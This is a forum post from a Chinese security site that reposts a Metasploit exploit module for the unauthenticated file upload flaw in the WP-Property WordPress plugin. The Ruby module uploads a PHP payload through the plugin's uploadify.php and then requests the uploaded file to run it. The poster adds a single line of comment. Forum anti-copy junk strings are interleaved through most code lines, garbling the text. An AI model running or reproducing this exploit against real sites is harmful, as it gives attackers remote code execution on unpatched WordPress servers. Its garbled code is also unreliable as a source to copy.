找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞  b  a# [3 ~) Z$ ]  f* ]
& L* t4 Q) @0 C( v
## # This file is part of the Metasploit Framework and may be subject to- h4 M( o: Q- B' W4 r# U1 b2 G# o

7 P9 P- z& c5 L( Z# redistribution and commercial restrictions. Please see the Metasploit* }# h: R/ D6 {9 D9 H. ?

* v' ^2 z8 I) j) e* k# w# S# Framework web site for more information on licensing and terms of use.
1 l/ h2 I. l$ B/ \' `% s" C/ m
! c0 J; E% V) t4 V8 w! v: G#   http://metasploit.com/framework/ ##; S4 ?' x( F. D0 Q

4 H' V! e$ N' N4 D9 P $ S! C7 ~7 n; C: G' G4 `

% a9 N2 V; S9 Y4 L/ _% r6 P1 d$ d
6 }8 f# c1 q  {9 o
5 j% f& M5 f8 c3 k4 Y5 |require 'msf/core'2 P; w: U. H% _& a
require 'msf/core/exploit/php_exe'+ B5 s8 y+ s5 x- X9 R

: R2 Y0 k5 n8 b# H) U2 eclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
( b9 O$ G, O4 U% p- b'Description'    => %q{
, \4 I7 i) o/ R% s) AThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
! M) V% N$ H& @6 ~+ }% D[! M: o# ]: X% ]$ g* a" y
'Sammy FORGIT', # initial discovery
# O! E& }/ ?* w'James Fitts <fitts.james[at]gmail.com>' # metasploit module! D& `* p  V" z" v, c0 I5 b# e
],
) f2 _# X* k0 p'License'        => MSF_LICENSE,
  ^6 U( J* e* ?) v; H$ V! I0 P" Z1 P' K'References'     =>
% c5 T' n8 p# x- x3 f- g[
) Q4 X% e2 c+ i% x# _[ 'OSVDB', '82656' ],
8 S4 o. m$ ]3 N. S" b8 O[ 'BID', '53787' ],6 k$ D: Z, x! u( \" U# p
[ 'EDB', '18987'],
( ^9 F& {" V8 _6 u& y& Z! I[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]% L9 Y' J5 N8 c1 U9 H
],) ~$ j+ m- A' H8 v2 r
'Payload'        =>
. r( A  b7 y5 L5 F3 N: a{
2 ~. j$ y3 K8 x'BadChars' => "\x00",
' s$ u+ @: d3 L: M},+ \1 t) s4 Q% b! U3 F2 Y6 g
'Platform'       => 'php',/ b" w, V+ a5 N( j- T0 P- A- L' h" a
'Arch'           => ARCH_PHP,# B! o% D$ u. F; n7 H
'Targets'        =>$ _/ r, x- s6 }6 ?: P
[
/ H% x% M9 U3 ~[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
5 V, J/ z9 e2 ~) H8 e[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], g# F1 ^" Z  J/ z$ C
],
& A' e8 b& v, D4 G+ P/ v7 a+ U; \'DefaultTarget'  => 0,5 I6 K: ^" O! L4 G2 K
'DisclosureDate' => 'Mar 26 2012'))
. Z. [& w' A0 z, X# c6 J0 a# j' r2 Z
register_options(- d2 P4 m1 L4 o+ E+ C8 `9 s6 k  s
[
# k$ X! h8 p# iOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']). z7 i! f0 u4 _/ G) ~
], self.class)
* O* j' P& C  [. Z% Vend
3 f- O. t# [' {" r. K" w- q! q! w  Y& m; i( D+ U
def check+ r- L! s; t+ b& z' x) ]4 q
uri =  target_uri.path" e: r& Q/ n/ L
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',9 a- M% v/ B" M- [1 K
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"1 @- E9 l  u9 U
})
! z7 I* }# D* ^* ~/ _9 R) U! w: Q5 ^
6 [: }$ ?& ]& m; [# r; |if not res or res.code != 200; b% B" @: d, j) g4 u/ X
return Exploit::CheckCode::Unknown3 t8 ^$ v+ i+ S) z( ~$ l3 W9 c
end+ L, z+ ]7 x* [; t. j- \

, w2 \. y! Q  q( i& t* g; ~return Exploit::CheckCode::Appears5 w. [+ h7 v* @) l) @
end
% ]' c, _5 D" r; C: D  r; Z$ B& A4 I
def exploit; c9 _; w7 A! @. r" @, l( w* s
uri =  target_uri.path" S$ B, E/ R7 s# Y- K
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)" i1 n4 \5 }7 T$ F0 f. o* w6 A

5 \, K2 O. a4 b5 B& u3 Idata = Rex::MIME::Message.new8 W" `8 v* x* j, i6 X* [+ B8 m8 a
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\""), ]4 s2 `; u8 Z. ~. w
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\""). ?% A9 b1 e+ y! j, w8 z1 {
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')5 }# S* E" T7 |  v0 O2 N

6 m$ L1 L+ U! D/ y5 h+ I! l4 i  qprint_status("#{peer} - Uploading payload #{@payload_name}")
; P3 D7 |- ~5 S4 [res = send_request_cgi({
% t# s9 @% A7 q& E- x'method' => 'POST',, s1 }. e. ~" O4 d; \
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",7 y0 b9 k9 P5 d2 z1 `
'ctype'  => "multipart/form-data; boundary=#{data.bound}",  L4 L( Y7 L$ G
'data'   => post_data! G7 z, o( N+ W7 S; O# i0 L
})
) Q; O+ b! w$ W6 v  I/ Q
2 O2 d2 m% e0 U8 e5 e/ J8 Lif not res or res.code != 200 or res.body !~ /#{@payload_name}/
; G3 x% k! v& lfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
# v1 A1 I& N: _6 eend2 o1 C, I* F! \

9 r6 G& T* a7 d5 A6 }upload_uri = res.body& k, R: E. r7 Y  P

5 y( D7 Y7 m" w1 Aprint_status("#{peer} - Executing payload #{@payload_name}")# M" g+ A  T, q3 ]+ r0 r
res = send_request_raw({
8 ~9 ^# n" W, l5 B8 [% Y' u' E" v'uri'    => upload_uri,6 C8 O7 ~0 S8 Q; y& @
'method' => 'GET'/ `1 H, W. b* k: l, M
})5 U" b5 e, D) }" A$ {! B( o0 B
end
6 l7 f. Y5 W/ v- [9 \5 zend
6 F+ x3 @3 f% s
7 Y# [  N' {) q  d# e  A不要问我这写的是什么 怎么利用 我是说msf.
: B# s; P8 x% q+ Y
% Q  `0 l, W9 g7 {& L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表